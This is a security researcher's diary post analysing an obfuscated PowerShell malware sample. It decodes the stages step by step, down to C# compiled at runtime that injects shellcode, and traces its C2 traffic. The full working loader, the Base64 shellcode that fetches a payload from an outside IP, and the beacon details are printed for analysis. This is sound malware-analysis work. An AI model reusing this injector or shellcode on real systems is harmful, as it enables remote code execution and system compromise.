My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Malicious PowerShell Compiling C# Code on the Fly

Published: 2018-09-05. Last Updated: 2018-09-06 06:31:28 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

What I like when hunting is to discover how attackers are creative to find new ways to infect their victim’s computers. I came across a Powershell sample that looked new and interesting to me. First, let’s deobfuscate the classic way.

It started with a simple Powerscript command with a big Base64 encoded string:

$ cat step1.base64.txt
JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByA
G8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwArADIALwBpAFMAQgBMACsATwBmAHcAVg
AzAGcAaABwAGcANQBKAGcARABJAFIASABSAGkATgBOAEcAegBBADIAWQBCADQARwBiAEUASQBVAG4AZABwADIAMgAyADUAbwB1AHgAMAAvAGUARwBSADI
ALwB2AGQAcgBZADgASQB0AE0ANwB0ADcAMABwADAAbABDADMAZABSADkAVgBWADkAMQBkAFYAZABOAFUAZgBKADQAegB5AEoAcwBKAFcAbwAxAEUAYgBj
AG8ANAA2AGkARwBOAE8AQQBxAHgAWQBLAHgAUwA1AFYARQB1ADQAcgA5ACsAMwAzAFEAaABIAEcATQBmAEoATgBjAHMAeQBXAHQANABXAGIATgBNAGEAQ
...stuff deleted...
SwBGAHMAKwBaADIAdgBOAHoAegBFAFkAYgA3AGgARwA5AGMANgAxAFQAVgBIAEUAMgAyAGoAeAB1AHEATQBrAHkAZgArAHAAKwBkADAAVgBZADQAcABUA
GUAaQB2AFYAQQA3AGcAZgAzAHkASABJAE0ANABsAHEAVgBlAHcAUwBSAG0ALwBxAEkARABTAEwANQBnAFAAMABIAHQAMgBkAFIAbgBRAHoALwBZAEEATw
BzAGgAZgBBAE8AUABRADYAbwB5AFkAZwBnAEUAcQBNAE0AKwBnAFMAUwBLAFQAUABaAHYAdwBHAG8AYQBIAHoAMABzAFEAcwBBAEEAQQA9AD0AIgApACk
AOwBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAg
AEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8Ab
gAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoAC
kAOwA=

Once decoded, the result was a Unicode string containing more Powershell code. Let's decode this second stage:

$ cat step1.base64.txt | base64 -d | iconv -f utf-16 -t ascii >step2.txt.malicious
$ cat step2.txt.malicious
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

The script contains another Base64 + Gzipped string. Let’s decode it in the same way:

$ echo -n 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
6oyYggEqMM+gSSKTPZvwGoaHz0sQsAAA== | base64 -d | gzip -d -c - >step3.txt.malicious

Finally, we have this Powerpoint code which looks much more interesting:

$ cat -n step3.txt.malicious
     1    Set-StrictMode -Version 2
     2
     3    $DoIt = @'
     4    $assembly = @"
     5        using System;
     6        using System.Runtime.InteropServices;
     7        namespace inject {
     8            public class func {
     9                [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
    10                [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
    11                [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
    12                [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    13                [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    14                [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
    15            }
    16        }
    17    "@
    18
    19    $compiler = New-Object Microsoft.CSharp.CSharpCodeProvider
    20    $params = New-Object System.CodeDom.Compiler.CompilerParameters
    21    $params.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
    22    $params.GenerateInMemory = $True
    23    $result = $compiler.CompileAssemblyFromSource($params, $assembly)
    24
    25    [Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAc
fi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4F
hfWosS64ZdaG5ldABod2luaVRoT
HcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAInga
gRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////
zH/6ZEBAADpyQEAAOhv////L1ZkQWEAGi03F8fms8HPRgZbfhAXu7XunZHvgTQZ14ncgAx76U+mGQm7eQxC9LKfKHzD1WL1lypbBs1/L9dCY4I9V/QmKmkGvuJkD
+33lQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjA7IEJPSUU5O
0VOR0IpDQoA4jjZnOfGnJvj2Gp/vnWrt9Lji/hmO1p9bcHvSdHQYH4FHjWecqkJhnHKbEH+ysM4yitxNpAVQRRa9VCDY7HtCrLC72vcE0waIBfl5cKEkM7txMQah
Hd8NJtUEoiqpPKPCSTbg7DmAEmnRWlKiaPJnuZPyIiBPG1SaeT1lgJ+6uzshtQicNFmznhoBflfIikfIhq3XIjdYRV7+hCkiUCE4elWmE71xBzpHcBol70Kw5NPT
xAVIbiawM3I6dWmpmEo4H2KAaLT/M3jnxsqwTgAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFw
HXlWMPoif3//zMxLjIyMC40NS4xNTEAAAAAAQ==")
    26
    27    $buffer = [inject.func]::VirtualAlloc(0, $var_code.Length + 1, [inject.func+AllocationType]::Reserve -bOr [inject.func+AllocationType]::Commit, [inject.func+MemoryProtection]::ExecuteReadWrite)
    28    if ([Bool]!$buffer) {
    29        $global:result = 3;
    30        return
    31    }
    32    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $buffer, $var_code.Length)
    33    [IntPtr] $thread = [inject.func]::CreateThread(0, 0, $buffer, 0, 0, 0)
    34    if ([Bool]!$thread) {
    35        $global:result = 7;
    36        return
    37    }
    38    $result2 = [inject.func]::WaitForSingleObject($thread, [inject.func+Time]::Infinite)
    39    '@
    40
    41    If ([IntPtr]::size -eq 8) {
    42        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
    43    }
    44    else {
    45        IEX $DoIt
    46    }

What does this script do? The most interesting part is between lines 4 & 23. Powershell is a wonderful tool and is able to dynamically compile C# code. The variable $result contains bytes for the compiled assembly to be loaded at a later time. This is performed via the Microsoft.CSharp.CSharpCodeProvider[1]. The C# code to be compiled is:

using System;
    using System.Runtime.InteropServices;
    namespace inject {
        public class func {
            [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
            [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
            [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
            [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
            [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
            [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
        }
    }

While debugging the malicious Powershell, you can find the compiler generated files in %TEMP%. Here is the command line generated to compile the code:

C:\Users\REM\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:"C:\Users\REM\AppData\Local\Temp\wksk3kir.dll" /debug- /optimize+  "C:\Users\REM\AppData\Local\Temp\wksk3kir.0.cs"

It compiles a DLL file (SHA256: 82fbc7a7c75a559e004a9a4f96e1ae1c8d99586b465f391cc547d4977720f858)

At line 25, the shellcode is injected in the Powershell process via the DLL ‘inject’ namespace using the common system calls VirtualAlloc(). Then the memory protection is changed to ‘ExecuteReadWrite’. Finally, a new threat is created at line 33.

Let’s decode the shellcode now:

$ echo -n '/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc
8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAA
AWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+E
ygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L1ZkQWEAGi03F8fms8HPRgZbf
hAXu7XunZHvgTQZ14ncgAx76U+mGQm7eQxC9LKfKHzD1WL1lypbBs1/L9dCY4I9V/QmKmkGvuJkD+33lQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZT
sgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjA7IEJPSUU5O0VOR0IpDQoA4jjZnOfGnJvj2Gp/vnWrt9Lji/hmO1p9bcHvSdHQYH4FHjW
ecqkJhnHKbEH+ysM4yitxNpAVQRRa9VCDY7HtCrLC72vcE0waIBfl5cKEkM7txMQahHd8NJtUEoiqpPKPCSTbg7DmAEmnRWlKiaPJnuZPyIiBPG1SaeT1lgJ+6uzshtQi
cNFmznhoBflfIikfIhq3XIjdYRV7+hCkiUCE4elWmE71xBzpHcBol70Kw5NPTxAVIbiawM3I6dWmpmEo4H2KAaLT/M3jnxsqwTgAaPC1olb/1WpAaAAQAABoAABAAFdoW
KRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zMxLjIyMC40NS4xNTEAAAAAAQ==‘ | base64 -d >shellcode.malicious

We can find basic information in strings contained in the shellcode but thanks to Didier’s last diary[2], let's see what the shellcode is doing:

C:\Users\REM\Desktop\VS_LIBEMU-master>scdbg.exe -s -1 -f shellcode.malicious
Loaded 343 bytes from file shellcode.malicious
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000

4010a2  LoadLibraryA(wininet)
4010b5  InternetOpenA()
4010d1  InternetConnectA(server: 31.220.45.151, port: 443, )
4010ed  HttpOpenRequestA(path: /VdAa, )
401106  InternetSetOptionA(h=4893, opt=1f, buf=12fdec, blen=4)
401116  HttpSendRequestA(User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB), )
401138  GetDesktopWindow()
401147  InternetErrorDlg(11223344, 4893, 401138, 7, 0)
401303  VirtualAlloc(base=0 , sz=400000) = 600000
40131e  InternetReadFile(4893, buf: 600000, size: 2000)

Let’s execute it in a sandbox. The following behaviour can be observed:

It grabs a new payload from hxxps://31[.]220[.]45[.]151/VdAa

The file is detected as raw data and is probably XOR’d (SHA256: 6d808d2ff7752bea43216fef7e3d52dac098ad260824b852f78bb1604479938a). I did not try to decode it, I just uploaded it to my sandbox lab to be delivered when the shellcode requests it. It was decoded and started beaconing to its C2 via the following URL exactly every 60 seconds: hxxps://31[.]220[.]45[.]151/visit.js

GET /visit.js
Host: 31.220.45.151
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Accept: */*
Cookie: NQhe1f6S55pxptY3TRq8iTRPOQml+VURG4YO0fSCi+DaqYrApfX0TEZu3xihxlAESVliCHzyBr84U1KiOIHeADfmfY7mdBbCEcXX+xHarM7+YooAHzAm4/k3YIBxJ6yo09nFBHpAi5uwC1H/wGaiDGozMF6XJoawxmyz6qMigVQ=

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Date: Tue, 4 Sep 2018 13:16:34 GMT
Content-Length: 0

The result was empty but I presume that the C2 should return some commands at a certain time. I started the following loop as a simple honeypot:

while true
  do curl --header "Cookie: NQhe1f6S55pxptY3TRq8iTRPOQml+VURG4YO0fSCi+DaqYrApfX0TEZu3xihxlAESVliCHzyBr84U1KiOIHeADfmfY7mdBbCEcXX+xHarM7+YooAHzAm4/k3YIBxJ6yo09nFB
HpAi5uwC1H/wGaiDGozMF6XJoawxmyz6qMigVQ=" -k -A 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)' hxxps://31[.]220[.]45[.]151/visit.js
  sleep 60
  echo -n "===; date
done

Until now, no command was received from the C2... 

[1] https://docs.microsoft.com/en-us/dotnet/api/microsoft.csharp.csharpcodeprovider?view=netframework-4.7.2
[2] https://isc.sans.edu/forums/diary/Another+quickie+Using+scdbg+to+analyze+shellcode/24058/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments


Diary Archives